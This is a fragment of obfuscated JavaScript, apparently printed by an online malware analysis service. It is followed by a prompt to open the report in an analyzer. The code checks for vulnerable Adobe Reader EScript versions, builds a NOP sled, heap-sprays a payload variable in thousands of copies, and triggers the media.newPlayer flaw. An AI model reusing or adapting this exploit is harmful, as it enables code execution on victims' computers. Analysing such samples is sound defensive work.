f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.